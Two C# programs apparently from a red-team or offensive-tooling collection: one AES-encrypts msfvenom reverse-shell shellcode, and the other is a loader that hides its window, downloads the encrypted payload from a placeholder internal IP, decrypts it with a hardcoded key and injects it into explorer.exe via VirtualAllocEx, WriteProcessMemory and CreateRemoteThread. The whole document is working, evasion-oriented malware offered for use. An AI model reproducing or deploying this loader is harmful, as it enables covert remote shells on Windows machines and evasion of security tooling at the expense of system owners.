// Project Name: Classic Remote Thread Injection - Encryption
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 EXITFUNC=thread -f raw -o injection.bin
// This will create a new file: injection.enc
// By: Iron Hulk

using System;
using System.IO;
using System.Text;
using System.Security.Cryptography;

public static class Encryptor
{
    private const int Iterations = 1000;
    private static readonly byte[] Salt = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };

    public static int Main(string[] args)
    {
        if (args.Length != 1)
        {
            Console.WriteLine("[!] Usage: encrypt_shellcode_to_file file");
            return 1;
        }

        string inputPath = args[0];
        if (!File.Exists(inputPath))
        {
            Console.WriteLine("[!] File not found: {0}", inputPath);
            return 2;
        }

        byte[] plain = File.ReadAllBytes(inputPath);
        Console.WriteLine("[<] Shellcode Length: {0} Bytes", plain.Length);

        byte[] passwordBytes;
        using (SHA256 sha = SHA256.Create())
        {
            passwordBytes = sha.ComputeHash(Encoding.UTF8.GetBytes("MyK3yG0o0zH3r3")); // ← Encryption Key
        }

        byte[] encrypted = EncryptAes(plain, passwordBytes);
        Console.WriteLine("[+] Encrypted Shellcode Length: {0} Bytes", encrypted.Length);

        string outPath = Path.ChangeExtension(inputPath, ".enc"); // ← save as .enc
        File.WriteAllBytes(outPath, encrypted);
        Console.WriteLine("[>] Encrypted Shellcode Saved in {0}", outPath);

        Console.WriteLine(ToByteArrayLiteral("encryptedShellcode", encrypted));
        return 0;
    }

    private static byte[] EncryptAes(byte[] data, byte[] passwordBytes)
    {
        using (var derive = new Rfc2898DeriveBytes(passwordBytes, Salt, Iterations))
        using (Aes aes = Aes.Create())
        {
            aes.KeySize = 256;
            aes.BlockSize = 128;
            aes.Mode = CipherMode.CBC;
            aes.Key = derive.GetBytes(aes.KeySize / 8);
            aes.IV = derive.GetBytes(aes.BlockSize / 8);

            using (var ms = new MemoryStream())
            using (var cs = new CryptoStream(ms, aes.CreateEncryptor(), CryptoStreamMode.Write))
            {
                cs.Write(data, 0, data.Length);
                cs.FlushFinalBlock();
                return ms.ToArray();
            }
        }
    }

    private static string ToByteArrayLiteral(string name, byte[] bytes)
    {
        var sb = new StringBuilder();
        sb.Append($"byte[] {name} = new byte[] {{ ");
        for (int i = 0; i < bytes.Length; i++)
        {
            sb.Append("0x").Append(bytes[i].ToString("X2"));
            if (i < bytes.Length - 1) sb.Append(", ");
        }
        sb.Append(" };");
        return sb.ToString();
    }
}
                            
                        

                        
// Project Name: Classic Remote Thread Injection - Download -> Decryption -> Inject -> Run
// By: Iron Hulk

using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;

class W
{
    [DllImport("kernel32")]
    public static extern IntPtr GetConsoleWindow();

    [DllImport("kernel32")]
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

    [DllImport("kernel32")]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, int flAllocationType, int flProtect);

    [DllImport("kernel32.dll")]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);

    [DllImport("kernel32")]
    public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("user32")]
    public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    public const int PROCESS_CREATE_THREAD = 0x0002;
    public const int PROCESS_QUERY_INFORMATION = 0x0400;
    public const int PROCESS_VM_OPERATION = 0x0008;
    public const int PROCESS_VM_WRITE = 0x0020;
    public const int PROCESS_VM_READ = 0x0010;
    public const int MEM_COMMIT = 0x1000;
    public const int PAGE_EXECUTE_READWRITE = 0x40;
    public const int SW_HIDE = 0;

    public static void HideWindow(IntPtr handle)
    {
        ShowWindow(handle, SW_HIDE);
    }
}

class Program
{
    public static void Main(string[] a)
    {
        IntPtr h = W.GetConsoleWindow();
        W.HideWindow(h);

        // Download encrypted payload
        byte[] encryptedPayload = DownloadPayload("http://10.10.10.10/injection.enc"); // ← CHANGE THIS

        // Get decryption key
        byte[] key = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes("MyK3yG0o0zH3r3")); // ← Decryption key

        // Decrypt payload
        byte[] decryptedPayload = Decryption.AES_Decrypt(encryptedPayload, key);

        string procName = "explorer"; // ← The targeted process
        int r = GetPid(procName);

        Thread.Sleep(new TimeSpan(0, 0, 2)); // ← Deley execution for 2 seconds

        // Inject into target process
        InjectShellcode(decryptedPayload, r);
    }

    static byte[] DownloadPayload(string url)
    {
        using (WebClient client = new WebClient())
        {
            return client.DownloadData(url);
        }
    }

    static int GetPid(string procName)
    {
        foreach (Process proc in Process.GetProcesses())
        {
            if (proc.ProcessName.Equals(procName, StringComparison.OrdinalIgnoreCase))
            {
                return proc.Id;
            }
        }
        return 0;
    }

    static void InjectShellcode(byte[] shellcode, int remoteProcId)
    {
        IntPtr hProcess = W.OpenProcess(
            W.PROCESS_CREATE_THREAD | W.PROCESS_QUERY_INFORMATION |
            W.PROCESS_VM_OPERATION | W.PROCESS_VM_WRITE | W.PROCESS_VM_READ,
            false,
            remoteProcId
        );

        IntPtr spaceAddr = W.VirtualAllocEx(
            hProcess,
            IntPtr.Zero,
            shellcode.Length,
            W.MEM_COMMIT,
            W.PAGE_EXECUTE_READWRITE
        );

        W.WriteProcessMemory(
            hProcess,
            spaceAddr,
            shellcode,
            new IntPtr(shellcode.Length),
            0
        );

        W.CreateRemoteThread(
            hProcess,
            IntPtr.Zero,
            0,
            spaceAddr,
            IntPtr.Zero,
            0,
            IntPtr.Zero
        );
    }
}

class Decryption
{
    public static byte[] AES_Decrypt(byte[] encryptedData, byte[] passwordBytes)
    {
        byte[] salt = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
        const int iterations = 1000;

        using (Aes aes = Aes.Create())
        {
            aes.KeySize = 256;
            aes.BlockSize = 128;
            aes.Mode = CipherMode.CBC;

            using (var deriveBytes = new Rfc2898DeriveBytes(passwordBytes, salt, iterations))
            {
                aes.Key = deriveBytes.GetBytes(aes.KeySize / 8);
                aes.IV = deriveBytes.GetBytes(aes.BlockSize / 8);
            }

            using (var ms = new MemoryStream())
            {
                using (var cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
                {
                    cs.Write(encryptedData, 0, encryptedData.Length);
                }
                return ms.ToArray();
            }
        }
    }
}